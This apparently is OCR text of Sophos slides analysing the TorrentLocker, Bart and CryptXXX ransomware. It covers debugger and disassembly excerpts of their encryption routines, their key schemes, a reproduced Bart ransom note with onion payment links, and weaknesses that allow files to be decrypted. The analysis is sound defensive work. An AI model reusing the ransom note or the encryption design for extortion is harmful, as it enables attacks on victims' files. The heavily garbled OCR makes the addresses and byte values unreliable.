T T " d0pooe0eae4B36DTY EB 65 jmp short loc_4836DE
block cipher block cipher block cipher
KE-‘_,F—:-— \ KE-‘_,F—:-— \ KE-‘_,F—:-— \ ‘—* ¥
encryption encryption encryption
. . . H0p008000040836DE
Plaintext ——= Plaintext ———= Plaintext ———= 00080000004 036DE loc_4036DE:
EEEEEEEENEEE EEEEEEEENEEE EEEEEEEENEEE oo e B DE o 00 00 00 o fer’uOares
LIITTTITTITTTIT] LIITTTITTITTTIT] LIITTTITTITTTIT] Y
Ciphertext Ciphertext Ciphertext
a0AaeanABBLAA3GES BB BD FO 1E 46 @8 nov ecx, dword_uW61EF@
0000000A00YA36EL 53 push ebx ; duBytes
H G0000000004036ED 6A 80 push ] ; duFlags
Counter (CTR) mode encryption 00000000004 0GEF 51 bush ecx } Wieap
dep0000A004A36F8 FF 15 F8 088 42 8@ call ds:HeapAlloc_#8
G0p0000A004AB36F6 BB F8 nov edi, eax
Gap0000AA00LA36FE B85 FF test edi, edi
G0000000004836FA 74 60 jz short loc_LB3766
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OllyDbg - TorrentLocker.exe - [CPU - thread 3. (00000C1C), module Torrentlocker]

OllyDbg - Torrentlocker.exe - [CPU - thread 3. (00000C1C), module TorrentLocker]

File ‘iews Debug  Trace

Options  Windows  Help

@ File Wiew Debug Trace

Cptions  wWindows  Help

B x| »[w1] b3

=|U| L|E|Mw| T|c|R]|-

K| B|M|H| i

Bl x| w]={u] b3

#|U| L|E|M|W|T|c|R][-

K| B|M|H|

|Breakp0int at TarentLocker 00404B0 1

B reakpomt at TomentLocker.00404B01

B0404BAB| 3BL46 18 CHP EAX,DWORD PTR DS:[ESI+10] B0LO4BAB] 3B46 10 CHP EAX,DUORD PTR DS:[ESI+10]
80404BA3|. 7C OC JL SHORT B0464BB1 BOLO4BAZ|. 7C BC JL SHORT G6484BE1
80404BA5| FELLBS 14 INC BYTE PTR DS:[EAX+ESI+14] BOLONBAS | FE4406 14 INC BYTE PTR DS:[EAX+ESI+14]
00404BAY |, 75 06 JHE SHORT 00%4G4BE1 BOLO4BAYG|, 75 86 JHE SHORT 00404881
OO4O4BAB| 48 DEC EAX BO4O4BAB| 48 DEC EAX
OO404BAC| 3Bu46 10 CHP EAX,DWORD PTR DS:[ESI+18] BOLOMBAC| 3B4S 10 CHP EAX,DUORD PTR DS:[ESI+18]
@0404BAF |~ 7D Fh JGE SHORT 004 BLBAS BOLO4BAF [ 7D Fl4 JGE SHORT 00404BAS
80404BB1| 8BOS MOU EAX,DWORD PTR DS:[ESI] BOLONBB1| 8BO6 MOU EAX,DWORD PTR DS:[ESI]
00404BB3|  8DSE 18610000 |LEA ECX,[ESI+118] BO404BB3| SDSE 18610060 |LEA ECK,[ESI+118]
00404BBY| 51 PUSH ECX BO4O4BBY | 51 PUSH ECX
00404BBA|  8DOLHO LEA EAX,[EAX*2+EAX] BOLO4BBA| 8DO4LO LEA EAX,[EAX=2+EAX]
004048BD|  8D96 94000000 |LEA EDX,[ESI+94] BOLO4BBD|  8D96 94000OBO |LEA EDX,[ESI+94]
80404BC3| 52 PUSH EDX BouONBCE| 52 PUSH EDX
00404BCY| C1ED 05 SHL ERX,5 BO4O4BCH| C1E@ 05 SHL EAX,5
DO4O4BC7|  8B9D 341FLE00 |MOU EDX,DWORD PTR DS:[EAX+u61F34] ASCII " T@" BO4O4BC7| SBYO 341F4600 |MOU EDX,DWORD PTR DS:[EAX+461F34] ASCIT " T@"
BO404BCD| SDLE 14 LEA ECX,[ESI+14] BOLO4BCD| 8DLE 14 LEA ECX,[ESI+14]
a04048D8| 51 PUSH ECX BOLO4EDO| 51 PUSH ECX
FFD2 CALL EDX FFD2 CALL EDX
004048D3| 83Ch 6C ADD ESP,BC BO4O4BD3| 83CH OC ADD ESF,0C
0O4O4BDS| 85CO TEST EAX,EAX 60LO4BDG| 85CO TEST EAX,EAX
00404BDS|. 75 30 JNE SHORT 004B4CEA BOLO4BDE |, 75 30 JHE SHORT 00404C0A
004048DA| 8946 08 MOU DWORD PTR DS:[ESI+8],EAX BOLONBDA| 8946 08 MOU DWORD PTR DS:[ESI+8],EAX
@0404BDD| 8BLG 08 MOU EAX,DWORD PTR DS:[ESI+8] BOLONBDD| 8BA4G 08 MOU EAX,DWORD PTR DS:[ESI+8]
BO404BEG|  8ASC30 9400000 MOU CL,BYTE PTR DS:[ESI+EAX+94] BO4O4BEG| §ASC30 0400000 MOU CL,BYTE PTR DS:[ESI+EAX+94]
DO4O4BE7| 320038 XOR CL,BYTE PTR DS:[EDI+EBX] BOLOMBE7| 320038 XOR CL,BYTE PTR DS:[EDI+EBX]
00404BEA| BS 01000008 | MOU EAX,1 BOLOMBEA| BB 01000088 | HMOU EAX,1
Q0404BEF| 88OF MOU BYTE PTR DS:[EDI],CL BOLOMBEF| 8BOF MOU BYTE PTR DS:[EDI],CL
BB404BF1| @146 08 ADD DWORD PTR DS:[ESI+8],EAX BOLOUBF1| 0146 08 ADD DWORD PTR DS:[ESI+8],EAX
B0404BFY|  B3FS ADD EDI,EAX BOLO4BFS|  B3FS ADD EDI,EAX
BO4O4BFS| 2945 OC SUE DWORD PTR SS:[EBP+OC],EAX BOLOMBFG| 2945 OC SUB DWORD PTR S$S:[EBP+8C],EAX
86404BF9 |~ BF85 71FFFFFF | JNE 08484870 BOLOSBFY |~ OF85 71FFFFFF | JNE BB404B70
EDX=TorrentLocker. BA485468 EDX=TorrentLocker. 8405400
Address |Hex dump ASCIT ~ JEIHISd [ 00A6496C | N1[aadress [Hex dum [ascIt ~ JEEITT0ITd | 66A6AS 6
0O0RGLO0C| AB 27 21 50 A1 D3 8D 37 FC C6 47 D4 89 39 57 4B’ tP;0N7uccOmouK| | OOCOFDDE)| BOAGAEC| BIFGaa6n0g BACEFDDA) | BBAGAIBC
A0AGAT1E eoc6FDDS || 00064010 0| gancuoqn BOC6FDDL || BBAGLATED
ABAGLOZC BBC6FDDE || 60000000 BN gaaangor BOCEFDDE || BoABEOAER| B
A0A6493C BOCAFDDC || BBAG12C8 | EMl gaqauo3c BOCEFDDC || BBA612C8 | ER!
88A64940 BOC6FDEB | BBCEFDFC| Ud| gananonc OACGFDED|| BACEFDFC | iif)
A0AGAISE =| eocsFpEs|Loou14041 | p@l ggnsnoop 80C6FDEY | Laou1Lon RETURN from TorrentLocker .0
ADAGATSE BOCGFDES 00061268 | EN| gancnopr BOC6FDES | -06A612C8
B0A6407C| 00 00 OO @0 GG 08 0O 0O BO 6O 6O 06 0O 08 00 0O llllllllllllllll OOCGFDEC || 000003A0) Bl ggpug7c BBC6FDEC | 80606398 I
80A6498C|FA F7 9D 10 E@ 67 8E 7B ED OF C1 C6 40 69 47 2a|G:ENagR{iNAmAig=| |99C6FDFO|| 0BAGT2CE EMl ggaenop 9OCGFDFA| | 08AG12CE
00AG499C| 0O 00 DO GO OB 0B 0O 0O BO BO 6O 0O OO 0O 00 6O(N m| [B9BCAFDFA|) BBCGFE28)| (B pppsugoc BOC6FDFL || BBCOFE2S
DOAG4OAC| 0O D0 DO GO 0B 0B 0O 0O BO BO 6O 0O 00 0O 00 6O(N BBC6FDFE || 08A0B3BO| B ggasuonc BBC6FDFE|| 88606300
60AG40BC| 68 00 G0 60 08 00 6O 08 G0 66 60 06 G0 68 00 60N BOCGFDFC ) | BOCGFESD| PRl ggangpc 8BCAFDFC || BOCGFESA
AEAGLOCT | A@ A0 GO BO OO GO0 00 G0 A0 68 6P 6P B@ OO 0P GalEm BBCGFEQD | LOBuB3725 %T 80AGLOCE BACAFEBA| L 08483725 G RETURH from TorrentLocker .88y
86A649DC| B0 00 0O 08 68 66 B0 80 B0 04 00 08 68 66 80 80| BOCAFEBY) FOBAGTZCH | EMl gogsnopc BACEFEBY| FBBAGTZCS | L
0OAG4OEC| 0O OO DO GO OB 08 0O 0O BO BO 6O 0O OO 0O 60 6O(N BBCOFEDS | 086 12C8 | EMl pgpgugpc BOC6FEOS || BBAG612CE | E
ADAGAOET - 8BC6FEBC | [ 99888388 °N[ gonsyorc @OC6FEAC || 0ABAB3BG| ° i :
oon6anoc) 00 08 08 B8 23 59 A8 DB B4 16 5B 98 17 A5 05 A1 EENEH#YON BACEFE10) | 08A61260) Bl goganppc BACAFE1D) | BBA6126D [UNICODE "C:\BIM\bginfo.hair |
60a64A1CYF7 6C F3 E4 SF AE 88 42 E6 92 BB 58 54 49 35 D3|:15% llBa’lPTISD BOCAFE1L| | 06068000 BNl 5o 4up1¢ BACEFE1Y | BAOABOGD N . .
00NG4AZC|AG B7 2A F6 61 B9 81 3F 65 AF 5A A7 72 0A 5F 06| -=Ga'N7e 2grE_M| | OUCGFEIS|| 00AG1260) "Bl gpasunzc BACEFE1S| | BBA6126D UHICODE “C:\BIM\bginfo.bgi
98A64A3C) 85 66 AC E2 C8 9D 11 DA 28 BF 1A 8A 7C 46 2F 59| NF-3EMNO(NEN|F/y| | O9COFEIC | 00080696 BE| gggsuaac RE-AENND(NRE|F7y| | 99COFEICI| 00006590/
0oRG4ALCHDE F1 B5 AF 18 3F AG 56 7D 98 FA F1 OF 9a A5 F7|Ufin w7 uymdimmy:| | POC6FE20)| 60606000| NN 00AGHAG A w? U}lunll¥— 8ACAFE2Q| | 00000808 AN
| 00060050 00 b0 00t e D e Ot 0 00 O 0 80 00 B0ttt BiiNNg-REN BB a%p | Y] GOCOFE24 ]| DOAGFFEE | BU| o zp || OOCOFE2Y|) OBAGFFEE | B
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@File View Debug Trace

OllyDbg - TorrentLocker.exe - [CPU - thread 3. (00000C1C), module TorrentLocker]

OllyDbg - TorrentLocker.exe - [CPUI - thread 3. (00000C1C), module TorrentLocker]

Options  Windows  Help

@ File Wiew Debug Trace

Cptions  Windows  Help

%] ] b

=|u| L|E|M W T]c|R

FREEEE

B x| »[=[1] &

L|E|MW| T|c|R

wf x| Bm/n] &

Breakpolnt at TomentLocker. 00404B01

B0404BA0] 3B46 10 CHP EAX,DWORD PTR DS:[ESI+10] 384G 10 CHP EAX,DWORD PTR DS:[ESI+18]
86484BA3|. 7C 6C JL SHORT 88404BB1 . 7C 8¢ JL SHORT 06404BB1
80404BA5 | FE4406 14 INC BYTE PTR DS:[EAX+ESI+14] FE4406 14 INC BYTE PTR DS:[EAX+ESI+14]
B0464BA0 |, 75 06 JNE SHORT 08484BB1 . 75 86 JNE SHORT 88484BB1
80404BAB| A48 DEC EAX u8 DEC EAX
80404BAC| 3B46 10 CHP EAX,DWORD PTR DS:[ESI+10] 3B46 10 CHP EAX,DWORD PTR DS:[ESI+10]
80484BAF [~ 7D FA4 JGE SHORT 88484BAS “ 7D Fh JGE SHORT 0O484BAS
90404BB1| SEBOG MOV EAX,DWORD PTR DS:[ESI] 8B06 MOU EAX,DMORD PTR DS:[ESI]
00404BB3| 8DSE 18010000 |LER ECX,[ESI+118] 8D2E 18018080 |LEA ECX,[ESI+118]
80404BB9| 51 PUSH ECX 51 PUSH ECX
80404BBA| 8DO44O LER EAX,[EAX=2+EAX] 8DO4LD LEA EAX,[EAX*2+EAX]
80404BBD| 8096 94800008 |LEA EDX,[ESI+94] 8D06 04BOBO60 |LEA EDX,[ESI+04]
gese4BC3| 52 PUSH EDX 52 PUSH EDX
80464BCH| C1EG 65 SHL EAX,5 C1ED 85 SHL EAX,5
60404BC7| B8B9O 341F4600 |HOU EDX,DWORD PTR DS:[EAX+A61F34] ASCII " T@" 2890 S41FL4608 |MOU EDX,DWORD PTR DS:[EAX+461F34] AscII " TE"
80404BCD| 8DAE 1k LEA ECX,[ESI+14] 8DUE 14 LEA ECX,[ESI+14]
864848D8| 51 PUSH ECX 59 PUSH ECX

FFD2 CALL EDX FFD2 CALL EDX
80464BD3| 83C4 6C nDD ESP, OC 83ch BC ADD ESP, BC
B0464BDG| 85CO TEST EAX,EAX 85ce TEST EAX,EAX
80404BD8|. 75 30 JNE SHORT @8484C06A . 75 38 JNE SHORT B88484C6A
86484BDA| 8946 88 HOV DWORD PTR DS:[ESI+8],EAX 8046 68 MOU DMORD PTR DS:[ESI+8],EAX
80404BDD| B8B4G 68 HOV EAX,DWORD PTR DS:[ESI+8] 8Bu4G B8 MOU EAX,DWORD PTR DS:[ESI+8]
GOL0LBEG| 8ASC20 0400000(HOU CL,BYTE PTR DS:[ESI+EAX+94] 8ASC3H 9460600/ HOU CL,BYTE PTR DS:[ESI+EAX+94]
BO4B4BE7| 320C3E XOR CL,BYTE PTR DS:[EDI+EBX] 320038 XOR CL,BYTE PTR DS:[EDI+EBX]
60404BEA| B8 061600000 | MOU EAX,1 B8 010000080 | HMOU EAX,1
804B4BEF| 8EZOF HOU BYTE PTR DS:[EDI],CL 280F MOV BYTE PTR DS:[EDI],CL
80404BF1| 0146 68 ADD DWORD PTR DS:[ESI+8],EAX 0146 08 ADD DWORD PTR DS:[ESI+8],EAX
BO4O4BFY| 0IFE aDD EDI,EAX 03F8 ADD EDI,EAX
BO4O4BF6| 2045 6C SUB DWORD PTR SS:[EBP+0C],EAX 2045 BC SUB DWORD PTR SS:[EBP+8C],EAX
80404BF9 | BF85 71FFFFFF | JNE 80484870 ~ BF85 71FFFFFF |JNE 88484870
ED¥=TorrentLocker. Aa485458 EDX=TorrentLocker. BE4E5 408
Address |Hex dump [ascIl ~ FIHITEd 0097 069C| ASCLI ~ [EXHITId 0097 069C
6097069C  AB 27 21 58 A1 D3 8D 37 FC C6_47 D4 89 39 57 4Bl «' tP,ON7UEGONOUK| | 90C6FDDE|| 0697071C N ' 1P, ON7i€GONOUL || POCOFDDB]| BE97O71IC
009706AC| 00 00 00 ] BACAFDDY| | BBI767A0 80 60 00 D9 0O 0O 069 60 G0 60 00 08 08 08 80 89 BBCEFDDL| | BBO7B7A0
0097 06BC| 08 00 00 BBC6FDDE ) | BAO0B006) N 60 86 06 08 0P 0P 60 66 66 0 B8 0O BO 6O OO0 0O 88C6FDDS || 88808800
609766CC| B8 00 0O BACAFDDC | BBA61680 1 60 00 60 00 00 60 06 60 00 GA G0 00 60 08 00 OO0 8BCEFDDC| | 0BA61680 1
6097060C |08 66 0@ 9ECAFDES| | BACGFDFC) i 66 60 66 60 60 60 60 00 60 00 60 08 B0 08 60 0O GOCSFDEQ|( BOCEFDFC
A097B6EC| B A8 B8 BOCAGFDEY | L ABY1LA41 | A 96 60 09 00 00 OO 90 0P 6O OO 00 69 0O 0@ G0 0O BOC6FDEY | L aou14041 RETURH from TorrentLocker.B@
8097056FC |08 86 0@ BECGFDES | FABAG1680) 0 66 60 66 00 66 00 66 00 6O 08 6O 08 6O 0O 6O 0@ GOCGFDES | ~B0AG61680
0p970706C| 00 A0 68 BGCGFDEC | 68006090 N A0 BA 88 A0 AR BA AR BA 88 AR A B8 A0 B8 B0 OB BOCAFDEC || 60000680
9997071C| FA F7 9D 88C6FDFB]| BBAG1680 B O0C6FDFO|| DOAG1680
8097072C |08 80 0@ QECAFDF4 || BACGFE28 | 60 00 606 00 60 08 00 00 60 08 60 08 60 08 60 0O BBCAFDFY | BBCGFE28
8097073C| 08 86 04 QECGFDFE | B0B806AD 66 60 66 60 60 00 60 60 60 08 60 08 60 08 60 0O GOCGFDFS | G00000AO
8097074C | 08 86 0@ BECGFDFL (| MACGFESE) P 66 60 66 00 66 00 66 00 6O 08 6O 08 6O 0O 6O 0@ GOCGFDFC | [ BOCGFESO
Aee7A75C | 6@ 88 Aa@ BACGFEBA | LBA4A3725 % A0 90 @0 90 09 60 A0 00 A0 00 A0 08 B0 09 60 A8 BACAGFEAA | - A04083725 RETURH from TorrentLocker .88
§097076C| 08 80 69 BAC6FEO4) FB0A61680) 1 86 60 08 80 80 08 86 60 68 68 80 08 0O 89 0O 0@ BOCEFEBL | ~0BA61680
9097077C| 08 00 00 QOCEFEDS | 0ORG1630) 98 00 0O B 08 00 GO B 08 00 0O B9 00 00 00 OO BOCGFEDS || BOAG1680
88970760, BO B8 88 0OC6FECC || 000080A0| gecsFEAC || soaoaone
00970679cf 09 00 00 Unnpn 9BC6FE10) | BBA61260 80 66 08 08 23 59 A8 DB 84 16 5B 98 17 AS 85 A1 BOCGFE18|| 0061260 “C; "
0697 07AC) F7 6C F3 +163 ONB3NPTIS0| | 9OCOFE14|| 00000000/ 8 F7 6C F3 E4 SF AE 80 42 EO 92 OB 58 54 49 35 D3 0OCGFE14 || 00000000 N
apo7a7eCcl A BY 20 -*ua‘l‘?e 2§|-l [ ] BACGFE1S B0AG126A ne B7 24 F6 61 B? 81 3F 65 AF 5A A7 72 BA SF 66 BOCAFE1S aeAG1268 UNICODE "C:\BIHYdllload.txt"
0097 07CCH 85 66 AC NE-SENNO(NEE|F/y| [ OOCOFETCI] BOOOOROG N 85 66 AC E2 €8 9D 11 DA 28 OF 1A 8A 7C 46 2F 59 |WF-GENMG(NEN[F/v| [OOCOFEIC)| 00060090
0097070C DC F1 85 U w7 vymGimme:| | UOCEFE2G)) 00000000 S DC F1 85 AF 18 3F A0 56 7D 96 FA F1 OF 9a A5 F7(ifin W7 uymdhmmy: [0OCOFE20)| 03000000

. i 3 pocsFE24|| oonsFFas | n . oo miinne mmn-anigse | ¥| 80c6FE2y || aoRcFFas
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Torrentlocker

* File decryption:

o Find a file, as large as possible, such as it’s unencrypted versions is also
known

o XOR the unencrypted version with the encrypted version
o Use the result as key for decrypting the encrypted files with simple XOR
o If the used file is larger then 2 Mbyte, then all the files can be decrypted

o Otherwise as many bytes from can be recovered from each file as many
the original had

* Poor implementation of encryption algorithm
* In later versions it changed AES-CTR to AES-CBC
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Bart

T IMPORTANT INFORMATION !l

All your files are encrypted.

Decrypting of your files is only possible with the private key, which is on our secret server.

To receive your private key follow one of the links:

1. http://khh5cmzh5q7yp7th.tor2web.org/?id=AhixqyYyiMkKfrTRDIPGgWIk16uium]FfFdVTIOKhQdNsw%3d%3d
2. http://khh5cmzh5q7yp7th.onion.to/?id=AhixqyYyiMKKfrTRDIPGgWIk16uiumIFfFdVTIOKhQdNsw%3d%3d
3. http://khh5cmzh5q7yp7th.onion.cab/?id=AhixgyYyiMkKfrTRDIPGgWIk16uiumIFfFdVTiIOKhQdNsw%3d%3d
4. http://khh5cmzh5q7yp7th.onion.link/?id=AhixgyYyiMkKfrTRDIPGgWIk16uiumJFfFdVTIOKhQdNsw%3d%3d

If all addresses are not available, follow these steps: I KANAL 230 EnEa

1. Download and install Tor Browser: https://torproject.org/download/download-easy.html i FriBamiban
[02. After successfull installation, run the browser and wait for initialization. e o e O ri oo

-- CryptGenRandem [Mame] :: 00059287 :: 004540
DB. Type In the add ress ba I [H- ECC: P-192 [NIST), prime order :: 0000FSA4 :: 0 —

O  khh5cmzhSq7yp7th.onion/2id=AhixqyYyiMkKFrTRDIPGgWIk16uiumIFFFdVTIOKhQdNsw%3d%3d b £CC: b-256 (NIST), rime arder 1 0ODOF7 4 1 O

(- ECC: P-256 (MIST), prime order :: 0000F7 B4 :: OI

7 H 3 -- ECC: secple0rl (SECZ), prime arder :: 0000F7 24
4. Follow the instructions on the site. B ECC: sect25ek1 (SECR), pime andar 1 OODDFEES
-- ZIPZ2 encryption :: 000240:C0 :: 00424D0C0

O Your personal identification ID: AhixqyYyiMkKfrTRDIPGgWIk16uiumJFfRAVTIOKhQdNsw== 11! ‘A . | ;
About Close |

Detected 10 crypto signatures [in 2.25)

-

-

SOPHOS
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Eﬂfﬁamﬂmﬁ

2] 0 00 0 00

Elliptic curve: secp256rl

» 63 FC-C2

FF FF-FF

45 2

The curve E:
y? = x3 + ax + b over F,

oo 00 PO PR-00 A0 AP BA .'-: y U () h

FF-FF

"F FF-FF T ®
pe 08-31 28
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Bart

* Preparation:

o Private key: Random element from F, is generated (d) — never leaves the attackers
computer

o Public key: Q = G*d — hard coded in the ransomware (base64 encoded)

.text: 804080302 align 4

.text:08480304 aAnohCz?mmlizms db “AnOh/Cz9HHLiZHS9k/8huUvEbF6cg1TklaA(BLADAGiV" , @
-text:0048D3 04 ; DATA XREF: sub 4@1DBBTO
-text:a848D3 84 ; sub_4@81Dp26To
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* |D and key generation:
o 32 random bytes are generated (r)

o Symmetric key: S = Q*r — used for encryption
o ID: R=G*r

il s 5

AB4a874C

B04B874C loc_4B874C: : pbBuffer

88488740 56 push esi

BaL0A874D FF 75 6C push [ebp+dwlLen] ; dwLen

BaLA8750 FF 75 F8 push [ebp+hProu] ; hProv

AaLagsS3 FF 15 66 DO 4@ A0 call ds:CryptGenRandom ; Fill a buffer with random bytes
AaLARs5e 6A B0 push a ; dwFlags

80488758 FF 75 F8 push [ebp+hProu] ; hProu

BO4887S5E FF 15 84 DO 408 @8 call ds:CryptReleaseContext ; Release a handle to a C5P and a key container
B0488764 BB 4D FC mou ecx, [ebp+var_4i]

BB468767 BE A1 00 60 68 moy eax, 1

ao4e8¥oC 33 CD ®or ecx, ebp

8848876E SE pop esi

BB4B876F E8 DC 88 FF FF call sub_ 481858

BaLaRs7L BB ES mou esp, ebp

B04B87F6 5D pop ebp

BBL4BB77F C3 retn

BBLABFFT sub_488718 endp

BBLABFF7
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* Encryption:
o Archive the files into password protected zip files
o Symmetric key is used as the password for each file
o .bart.zip extension is added

* Decryption:
o ID is known for the attacker (R = G*r)
o Private key is known for the attacker (d)

o Symmetric key can be calculated:
S=R*d=G*r*d = G*d*r=Q*r

SOPHOS
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* Problem:
o Uses PKZIP algorithm

o This is vulnerable to known plaintext attack
(A known plaintext attack on the PKZIP stream cipher — Eli Biham, Paul C. Kocher)

* Weak encryption algorithm
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CryptXXX

* Generates 64 byte key for each file

* Uses RC4 encryption to encrypt the files

* Encrypts the RC4 key with RSA-1024

* The RSA public key is embedded in the code
* No C&C communication is needed

SOPHOS 60




CryptXXX

* RC4 key generation

* RC4 encryption

|@sasFac2 mou

[ebp+var_11], @

88ABF516 inc
88ABF51? inc
BAABFSAC cmp
B0ABF528 jnz

byte ptr [ebp-12h]
byte ptr [ebp-11h]
byte ptr [ebp-11h], @
short loc_ ABFLFAO

.

EAN Ll

BAABF522 mou

byte ptr [ebp-11h], @

vy

ERN Ll

ABABFACH

BBABFL4CH loc_ABFUCH:

B0A8F4CH Xor eax, eax

BOABF4CE mow al, [ebp+uar_11]
BOABF4CE mow dl, [ebp+uar_11]
ABABFA4CE mov [eax+BA?6326h], dl
80ABF4DY inc [ebp+var_ 1]
BAABF4DY cmp [ebp+var_11], @
80ABF4DB jnz short loc_ ABFA4CH

SOPHOS

]

vy

L B E e

BBA8FL411 inc
B0ABFL412 mov
A0ABFY415 mov

eax
[ebp+var_1C], eax ; length
[ebp+var_ 18], @

EAN Ll

BOABF524

BBABF526 loc_ABFS526:

BOABF526 Xor eax, eax

BOABFS528 mou al, [ebp-12h]
BOABF52B Xor edx, edx

BBABFS2D mov dl, [ebp-11h]
BBABF530 movzx edx, byte ptr [ebp+edz-212h]
00n8F538 add eax, edx

00A8BF53A Hor ed=, edx

ABABFS3C mov dl, [ebp-11h]
BOABFS3F mouvzx edx, byte ptr [edx+0A2632080]
BOABFS 46 add eax, edx

ABABF548 and eax, BFFh

BAABFS 4D mov [ebp-12h], al
60A8BFS50 Xor eax, eax

ABABF552 mov al, [ebp-11h]
ABABFS55 mov al, [eax+BA%6328h]
ABABFSS5E mov [ebp-1], al
BOABFL5E Xor eax, eax

BOABFS568 mou al, [ebp-12h]
ABABF563 mov al, [eax+BA%6328h]
BOABF569 Xor edx, edx

BOABFS6B mov dl, [ebp-11h]
BBABFS6E movw [edx+BA26328h], al
00ABFSYL Hor eax, eax

ABABF5Y6 movu al, [ebp-12h]
BBABFS79 mov dl, [ebp-1]
ABABFS7C mov [eax+BA96328h], dl
AOABF582 inc byte ptr [ebp-11h]
BOABFS585 cmp byte ptr [ebp-11h], 8@
B0ABF58? jnz short loc_ ABF526

¥
BN L
ABABFMIC
BOABFYIC loc ABFLIAC: ; encrypt
B0ABFYIC mov eax, [ebp+var C]
A8A8BF41F inc eax
ABABFL428 and eax, BFFh
BOABFL425 mou [ebp+var_C], eax
BOABF428 mou eax, [ebp+var_C]
BOABF42B mouvzx eax, byte ptr [eax+BA%6328N0]
BOABF432 mov [ebp+var_14], eax
B0ABF435 mov eax, [ebp+var_ 18]
A0ABF438 add eax, [ebp+uvar_14]
ABABFL43IE and eax, BFFh
A0ABF44A mov [ebp+var_18], eax
BOABF 443 mou eax, [ebp+var_14a]
ABABF 446 mov al, [eax+BA%6328h]
BOABF4L4C mou edx, [ebp+var_C]
ABABF 44F mov [edx+BA9?6328h], al
BOABF45S mov al, byte ptr [ebp+var_ 14]
BOABFL45E mov edx, [ebp+var_ 18]
ABABFALSE mov [edx+BA26328h], al
A0ABF461 mov eax, [ebp+uar_C]
BOABF4G6YL mouwzX eax, byte ptr [eax+0A2632080]
BOABF4G6B add eax, [ebp+var_14]
ABABF4GE and eax, BFFh
BOABF4Y3 mov [ebp+var_14], eax
BOABF47 6 mov eax, [ebp+var_ U4]
BOABFL47D mov edx, [ebp+uvar 18]
ABABF47C mov al, [eax+edx]
AOABF47F mov ed®, [ebp+uar_14]
AOABFLE2Z xor al, [edx+BA%6328h]
BOABF48B mou edx, [ebp+var_8]
BOABF48B movw ecx, [ebp+var_18]
BOABF4BE mov [edz+ecx], al
B8A8F491 inc [ebp+var_ 18]
B0ABFL4OY dec [ebp+var_ 1C]
A8A8BF497 jnz short loc_ ABFYIC ; encrypt

I—————————




OllyDbg - svchost.exe - [CPU - main thread, module Cryptiix]

@ File ‘iew Debug Plugins Options Window Help

Breakpaint at Crppt3{ 0B0T1EASS

SOPHOS

x| wn] w1 A 2 L]EMT[w[E]c[Z[K][B[R]".
BBEO1EATF| 50 PUSH EAX Registers (FPU) < < < < < <
OBO1EASE| 6A B0 PUSH @
OBB1EASZ?| 8BA4S F8 MOV EA%,DWORD PTR SS:[EBP-8] EIP BBE1EAY4 Cryptixy.OBO1EADS
BEO1EASS| ES B6S7FEFF CALL CryptXix.He0e4199 C 8 ES 0823 32bit B(FFFFFFFF)
OEO1EASA| 58 PUSH ERX P 8 CS 861B 32bit @(FFFFFFFF)
BGBEB1EABE| 8BA4S F8 MOU EAX,DWORD PTR SS:[EBP-8] A B S5 0023 32bit B(FFFFFFFF)
OBO1EASE| ES FSS8FEFF CALL CryptXX.0BO04388 Z 8 DS 8823 22bit B(FFFFFFFF)
BBO1EAY3]| 58 PUSH EAX ) ) S 8 FS B03B 22bit 7FFDFBOB(FFF)
ES® D734FFFF CALL CryptXix.@BO11F70 JHP to crypt32.CryptStringToBinaryn T 6 E5 0888 NULL
OBO1EA9Y| BD4S DC LER EAX,DWORD PTR SS:[EBP-24] D B
BEO1EA9C| 58 PUSH ERX 0 8 LastErr ERROR_SUCCESS (B8008800@)
BBEO1EAYD| 6A 60 PUSH @ -
TRl 6h TR [ EFL 086068202 (HO,NB,HE,f,NS,P0,GE,E)
BBB1EAR1| BBLS FO MOV EAX,DWORD PTR SS:[EBP-18] ST@ empty O.009823584438746167 Oe-4033
BBB1EAA4| E® 1F1FFFFF CALL CryptXXX.BBA189CB ST1 empty +UHORH B0O3A 000920DA A06AB06A
BBB1EARY| 50 PUSH ERX ST2 empty 0.0000841958388971150e-4933
BB@1EAAA| BBLS FB MOU EAX,DWORD PTR SS:[EBP-18] ST3 empty -UNORH 8418 G1D1DSF5 14717410
BBE1EAAD| SBLA B4 MOU EAX,DWORD PTR DS:[EAX+4] ST4 empty -UNODRH A158 B1D1DSF3 BY47AFEGC
BBO1EABA| 58 PUSH ERAX STS empty +UNORH 6000 GOAAOOOA 0846000
BBB1EAB1| BBLS EC MOV EAX,DWORD PTR SS:[EBP-14] ST6 empty 1.0000000000000000000
OBO1EABY| 50 PUSH EAX ST7 empty 0.0
E8 BE35SFFFF CALL CryptX%X.eBe11FCS JHP to ADUAPI32.Cryptimportkey 5218 ESPUDZD I
BBO1EABA| 85CA TEST EAX,EAY FST 0820 Cond 8 8 08 Err B 8108808 (GT)
BBEO1EABC |, BF8Y4 90008008 |JE CryptiXy.BBE1EBSF FCW 027F Prec NEAR,53 Mask 111111
BEO1EACZ| 33CA XOR EAX,EAX
OBO1EACY| 55 PUSH EBP
OBO1EACS| 68 SSEBO10B PUSH CryptX%X.BBO1EBSS
BBEO1EACA| 64:FF38 PUSH DWORD PTR FS:[EAX]
BBO1EACD| 64:8928 HOU DWORD PTR FS:[EAX],ESP
BEO1EADA| C745 E4 B400000(HMOU DWORD PTR SS:[EBP-1C],4
BEO1EAD7| 6A B0 PUSH @
OBO1EADY| 8DNS Eh LEA EAX,DWORD PTR SS:[EBP-1C]
BBO1EADC| 50 PUSH EAX
BBEO1EADD| 6A 60 PUSH @
BBEO1EADF| 6a 80 PUSH @
BEO1EAE1| 6A FF PUSH -1
OBO1EAEZ| 6n 60 PUSH 8
OBO1EAES| SB4S DC MOU EAX,DWORD PTR SS:[EBP-24]
BBO11F7B-Crypiixs.OBO11F7 0
Address |Hex dunp ASCII TT N oons315a]ascIl "———- BEGIN CERTIFICATE-———- EEBQIAAACKAABSUE
DBA53154| 2D 2D 2D 2D 2D 42 45 L7 49 HE 20 43 45 52 54 49| -———— BEGIN CERTI 8807C51C| 80000106
DBAS3164 46 49 43 41 54 45 2D 2D 2D 2D 2D 0D O 42 67 49 FICATE-———- ..Bgl 8807C520) 80008800
BOA53174[ 481 41 41 43 6B 41 41 42 53 55 30 45 78 41 41 51| AAACKAABSUBExARAQ 88070524 BOASCTBO
BOAS318% (41 41 41 45 41 41 51 42 66 46 54 4F 55 62 5A 69 AAAEAAQBFFTOUbZL 88070528\ BOB7C580
BOAS319%(50 36 75 39 50 78 70 4E 79 54 53 58 4D 2B 59 25| PGuOPppHYTSKH+YS 8807C52C( BOB7CS7C
DOAS31AL[57 39 70 45 63 4B 65 36 38 48 4A 59 71 6D OA 64| WIpEcKes8HJYq..d 9807C538( B0O7C578)
